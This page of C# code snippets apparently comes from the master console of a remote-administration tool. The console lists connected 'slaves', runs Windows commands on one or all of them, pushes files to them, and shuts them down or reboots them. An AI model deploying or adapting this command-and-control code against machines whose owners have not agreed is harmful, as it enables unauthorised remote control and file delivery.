Exemplo n.º 1
0
        /// <summary>
        /// Set current client by id
        /// and check if is connected and exists
        /// </summary>
        /// <param name="id">ID of client</param>
        public static void SetCurrentSlave(int id)
        {
            int cnt = Status.ClientsConnected.Count;

            //? Check if is valid id
            if (id < cnt && id >= 0)
            {
                //? check if client selected is connected
                if (Status.CheckConnectedClient(Status.ClientsConnected[id].Client))
                {
                    //! Set new connected client
                    Status.CurrentClient = Status.ClientsConnected[id];
                    MasterConsole.ConsoleMessage($"Current slave changed to: {id}) {Status.GetClientIp(Status.CurrentClient.Client)}", CONSOLE_MSG.success);
                }
                else
                {
                    MasterConsole.ConsoleMessage($"Client {id} is disconnected", CONSOLE_MSG.error);
                    PrintSlaves();
                }
            }
            else
            {
                MasterConsole.ConsoleMessage("Invalid id.", CONSOLE_MSG.error);
            }
        }
Exemplo n.º 2
0
        public Status()
        {
            // Check if there is no more than 1 instance
            if (Instance)
            {
                // If there is, then, send error
                throw new InvalidOperationException("There cannot be more than one status instance");
            }
            else
            {
                Instance = true;
            }

            // Prepare connection
            IPHostEntry ipHostInfo    = Dns.GetHostEntry("192.168.1.65");
            IPAddress   ipAddress     = ipHostInfo.AddressList[0];
            IPEndPoint  localEndPoint = new IPEndPoint(ipAddress, 11000);

            // Tcp Socket
            listener = new TcpListener(localEndPoint.Address, localEndPoint.Port);
            //! Try for check only one instance of the console
            try
            {
                // Start listen
                listener.Start();
            }
            catch (SocketException sE)
            {
                if (sE.ErrorCode == sE.ErrorCode)
                {
                    MasterConsole.FoccusOneConsole();
                }
            }
        }
Exemplo n.º 3
0
        /// <summary>
        /// Print current client selcted and
        /// check if is connected
        /// </summary>
        public static void PrintCurrentSlave()
        {
            if (Status.ClientsConnected.Count > 0)
            {
                // Check if current client is desconnected
                if (!Status.CheckConnectedClient(Status.CurrentClient.Client))
                {
                    // Is disconnected \\

                    Status.CurrentClient = Status.ClientsConnected[0]; // Set client "0" as current client
                    PrintCurrentSlave();                               // Try print
                }
                else
                {
                    // Is connected \\

                    string ip   = Status.GetClientIp(Status.CurrentClient.Client);       // Get Ip
                    int    indx = Status.ClientsConnected.IndexOf(Status.CurrentClient); // Get index in list
                    MasterConsole.ConsoleMessage($"{indx}) {ip}", CONSOLE_MSG.info);     // Print id) ip
                }
            }
            else
            {
                MasterConsole.ConsoleMessage("No slaves connected", CONSOLE_MSG.info);
            }
        }
Exemplo n.º 4
0
 /// <summary>
 /// Update Connected clients and print actives
 /// </summary>
 public static void PrintSlaves()
 {
     //? If there are clients connected?
     if (Status.ClientsConnected.Count > 0)
     {
         int cnt = Status.ClientsConnected.Count;
         for (int i = 0; i < cnt; i++)
         {
             string ip = Status.GetClientIp(Status.ClientsConnected[i].Client);
             MasterConsole.ConsoleMessage($"{i}) {ip}", CONSOLE_MSG.info);
         }
     }
     else
     {
         MasterConsole.ConsoleMessage("No slaves connected", CONSOLE_MSG.info);
     }
 }
Exemplo n.º 5
0
        /// <summary>
        /// Get bytes from file
        /// </summary>
        /// <returns> File in bytes </returns>
        public static byte[] GetFileBytes(string filePath)
        {
            byte[] bts = new byte[1024];

            //? Exist?
            if (File.Exists(filePath))
            {
                bts = File.ReadAllBytes(filePath);
            }
            else
            {
                MasterConsole.ConsoleMessage("The file not exists", CONSOLE_MSG.error);
            }


            return(bts);
        }
Exemplo n.º 6
0
        /// <summary>
        /// Close console and stop socket
        /// </summary>
        public static void ExitCommand(string[] Args)
        {
            // Contains arguments
            if (Args.Length > 1)
            {
                switch (Args[1])
                {
                case "-h":
                    MasterConsole.ShowHelp(CONSOLE_HELP.exit);
                    break;

                default:
                    MasterConsole.ConsoleMessage("Combination of arguments is wrong", CONSOLE_MSG.error);
                    break;
                }
            }
            else
            {
                MasterConsole.StopConsole();
            }
        }
Exemplo n.º 7
0
        /// <summary>
        /// Get all clients connected
        /// </summary>
        public static void SlavesCommand(string[] Args)
        {
            // Contains arguments
            if (Args.Length > 1)
            {
                switch (Args[1])
                {
                case "-h":
                    MasterConsole.ShowHelp(CONSOLE_HELP.slaves);
                    break;

                case "-c":     // c of "Curretn"
                    if (Args.Length > 2)
                    {
                        if (Args[2] == "set")
                        {
                            int id = Converters.ParseValidNumber(Args[3]);
                            Slaves.SetCurrentSlave(id);
                        }
                        else
                        {
                            MasterConsole.ConsoleMessage("Invalid arguments", CONSOLE_MSG.error);
                        }
                    }
                    else
                    {
                        Slaves.PrintCurrentSlave();
                    }
                    break;

                default:
                    MasterConsole.ConsoleMessage("Combination of arguments is wrong", CONSOLE_MSG.error);
                    break;
                }
            }
            else
            {
                Slaves.PrintSlaves();
            }
        }
Exemplo n.º 8
0
        public static void SendFile(byte[] bytes, Socket client, string fpath)
        {
            string filename = Path.GetFileName(fpath);

            // Send message to client as <MSG>[bytes size by int,filename]
            string res = ClientMessage($"<FILE>[{bytes.Length},{filename}]", client);

            //? If client returns "READY"
            if (res.Contains("READY"))
            {
                client.Send(bytes);
                client.Receive(Status.buffer);
                string recv = Encoding.ASCII.GetString(Status.buffer);
                if (recv.Contains("true"))
                {
                    MasterConsole.ConsoleMessage("Sucess", CONSOLE_MSG.success);
                }
            }
            else
            {
                MasterConsole.ConsoleMessage("Error in slave, try again.", CONSOLE_MSG.error);
            }
        }
Exemplo n.º 9
0
 public static void CMDOutput(string txt)
 {
     txt = txt.Replace("<CMDOUT>", "");
     MasterConsole.ConsoleMessage(txt, CONSOLE_MSG.cmdClient);
 }
Exemplo n.º 10
0
 static void Main(string[] args)
 {
     MasterConsole.StartConsole();
 }
Exemplo n.º 11
0
        /// <summary>
        /// Send file to client
        /// </summary>
        public static void FileCommand(string[] Args, string cmd)
        {
            int argLen = Check.FixedLenght(Args, cmd, '\"');

            if (argLen > 1)
            {
                string filePath = Regex.Match(cmd, "\"[^\"]*\"").Value;
                filePath = filePath.Replace("\"", " ");

                switch (Args[1])
                {
                case "-h":
                    //! Show Help
                    MasterConsole.ShowHelp(CONSOLE_HELP.file);
                    break;

                case "-f":
                    if (!Check.StringBlank(filePath))
                    {
                        if (argLen > 3)
                        {
                            if (cmd.Contains("-s"))
                            {
                                int slv = Converters.ParseValidNumber(Auxiliars.GetParameter(Args, "-s"));

                                if (slv >= 0)
                                {
                                    if (File.Exists(filePath))
                                    {
                                        byte[] bytes = Auxiliars.GetFileBytes(filePath);

                                        Connection.SendFile(bytes, Status.ClientsConnected[slv].Client, filePath);
                                    }
                                    else
                                    {
                                        MasterConsole.ConsoleMessage("The file not exists", CONSOLE_MSG.error);
                                    }
                                }
                                else
                                {
                                    MasterConsole.ConsoleMessage("Not clients connected", CONSOLE_MSG.warning);
                                }
                            }
                            else if (cmd.Contains("-all"))
                            {
                                if (File.Exists(filePath))
                                {
                                    byte[] bytes = Auxiliars.GetFileBytes(filePath);

                                    foreach (TcpClient cl in Status.ClientsConnected)
                                    {
                                        Connection.SendFile(bytes, cl.Client, filePath);
                                    }
                                }
                                else
                                {
                                    MasterConsole.ConsoleMessage("The file not exists", CONSOLE_MSG.error);
                                }
                            }
                            else
                            {
                                MasterConsole.ConsoleMessage("File -h for help", CONSOLE_MSG.info);
                            }
                        }
                        else
                        {
                            if (File.Exists(filePath))
                            {
                                byte[] bytes = Auxiliars.GetFileBytes(filePath);
                                Connection.SendFile(bytes, Status.CurrentClient.Client, filePath);
                            }
                            else
                            {
                                MasterConsole.ConsoleMessage("The file not exists", CONSOLE_MSG.error);
                            }
                        }
                    }
                    else
                    {
                        MasterConsole.ConsoleMessage("File?", CONSOLE_MSG.error);
                    }
                    break;

                default:
                    MasterConsole.ConsoleMessage($"Unkwon Parameter '{Args[1]}'", CONSOLE_MSG.error);
                    break;
                }
            }
            else
            {
                MasterConsole.ConsoleMessage("File?", CONSOLE_MSG.error);
            }
        }
Exemplo n.º 12
0
        /// <summary>
        /// Execute widows command in client
        /// </summary>
        public static void ExecCommand(string[] Args, string cmd)
        {
            if (Args.Length > 1)
            {
                if (Args.Length >= 2)
                {
                    switch (Args[1])
                    {
                    case "-h":
                        MasterConsole.ShowHelp(CONSOLE_HELP.exec);
                        break;

                    case "-all":
                        string com = Converters.TextBetween(cmd, "[", "]");
                        if (com != "")
                        {
                            foreach (TcpClient cl in Status.ClientsConnected)
                            {
                                string result = Connection.ClientMessage("<EXEC>" + com, cl.Client);
                                if (result.Contains("<CMDOUT>"))
                                {
                                    MasterConsole.ConsoleMessage($"{Status.GetClientIp(cl.Client)}: Succes", CONSOLE_MSG.success);
                                    Converters.CMDOutput(result);
                                }
                                else
                                {
                                    MasterConsole.ConsoleMessage("Not success", CONSOLE_MSG.error);
                                }
                            }
                        }
                        else
                        {
                            MasterConsole.ConsoleMessage("Invalid Argument", CONSOLE_MSG.error);
                        }
                        break;

                    case "-s":     // s of "slave"
                        string command = Converters.TextBetween(cmd, "[", "]");
                        if (command != "")
                        {
                            string result = Connection.ClientMessage("<EXEC>" + command, Status.CurrentClient.Client);
                            if (result.Contains("<CMDOUT>"))
                            {
                                Converters.CMDOutput(result);
                            }
                            else
                            {
                                MasterConsole.ConsoleMessage("Not success", CONSOLE_MSG.error);
                            }
                        }
                        else
                        {
                            MasterConsole.ConsoleMessage("Invalid Argument", CONSOLE_MSG.error);
                        }

                        break;

                    default:
                        MasterConsole.ConsoleMessage("Invalid argument", CONSOLE_MSG.error);
                        break;
                    }
                }
                else
                {
                    string command = Converters.TextBetween(cmd, "[", "]");
                    string result  = Connection.ClientMessage("<EXEC>" + command, Status.CurrentClient.Client);
                    if (result.Contains("<CMDOUT>"))
                    {
                        Converters.CMDOutput(result);
                    }
                    else
                    {
                        MasterConsole.ConsoleMessage("Not success", CONSOLE_MSG.error);
                    }
                }
            }
            else
            {
                MasterConsole.ConsoleMessage("Not found any command", CONSOLE_MSG.error);
            }
        }
Exemplo n.º 13
0
        /// <summary>
        /// This command Off or Reboot client
        /// </summary>
        public static void OffCommand(string[] Args)
        {
            if (Args.Length > 1)
            {
                switch (Args[1])
                {
                case "-h":
                    MasterConsole.ShowHelp(CONSOLE_HELP.off);
                    break;

                case "-all":
                    if (Args[2] == "-r")
                    {
                        // Reboot al client
                        foreach (TcpClient cl in Status.ClientsConnected)
                        {
                            if (Connection.ClientMessage("<REBT>", cl.Client).Contains("true"))
                            {
                                MasterConsole.ConsoleMessage($"{Status.GetClientIp(cl.Client)}: Sucess", CONSOLE_MSG.success);
                            }
                        }
                    }
                    else
                    {
                        // Off all client
                        foreach (TcpClient cl in Status.ClientsConnected)
                        {
                            if (Connection.ClientMessage("<OFF>", cl.Client).Contains("true"))
                            {
                                MasterConsole.ConsoleMessage($"{Status.GetClientIp(cl.Client)}: Sucess", CONSOLE_MSG.success);
                            }
                        }
                    }
                    break;

                case "-r":
                    if (Args.Length >= 3)
                    {
                        switch (Args[2])
                        {
                        case "-s":
                            if (Args.Length > 3)
                            {
                                if (!Check.ContainsLetters(Args[3]))
                                {
                                    if (Status.ClientsConnected.Count > 0)
                                    {
                                        if (Status.CheckConnectedClient(Status.ClientsConnected[Converters.ParseValidNumber(Args[3])].Client))
                                        {
                                            if (Connection.ClientMessage("<REBT>", Status.ClientsConnected[Converters.ParseValidNumber(Args[3])].Client).Contains("true"))
                                            {
                                                MasterConsole.ConsoleMessage("sucess", CONSOLE_MSG.success);
                                            }
                                        }
                                    }
                                    else
                                    {
                                        MasterConsole.ConsoleMessage("Any slaves connected", CONSOLE_MSG.warning);
                                    }
                                }
                            }
                            else
                            {
                                MasterConsole.ConsoleMessage("Invalid arguments", CONSOLE_MSG.error);
                            }
                            break;

                        default:
                            MasterConsole.ConsoleMessage("Invalid arguments", CONSOLE_MSG.error);
                            break;
                        }
                    }
                    else
                    {
                        if (Connection.ClientMessage("<REBT>", Status.CurrentClient.Client).Contains("true"))
                        {
                            MasterConsole.ConsoleMessage("sucess", CONSOLE_MSG.success);
                        }
                    }
                    break;

                case "-s":
                    if (Args.Length > 2)
                    {
                        if (!Check.ContainsLetters(Args[2]))
                        {
                            if (Status.ClientsConnected.Count > 0)
                            {
                                if (Status.CheckConnectedClient(Status.ClientsConnected[Converters.ParseValidNumber(Args[2])].Client))
                                {
                                    if (Connection.ClientMessage("<OFF>", Status.ClientsConnected[Converters.ParseValidNumber(Args[2])].Client).Contains("true"))
                                    {
                                        MasterConsole.ConsoleMessage("sucess", CONSOLE_MSG.success);
                                    }
                                }
                            }
                            else
                            {
                                MasterConsole.ConsoleMessage("Any slaves connected", CONSOLE_MSG.warning);
                            }
                        }
                    }
                    else
                    {
                        MasterConsole.ConsoleMessage("Invalid arguments", CONSOLE_MSG.error);
                    }
                    break;

                default:
                    MasterConsole.ConsoleMessage("Invalid arguments", CONSOLE_MSG.error);
                    break;
                }
            }
            else
            {
                if (Connection.ClientMessage("<OFF>", Status.CurrentClient.Client).Contains("true"))
                {
                    MasterConsole.ConsoleMessage("sucess", CONSOLE_MSG.success);
                }
            }
        }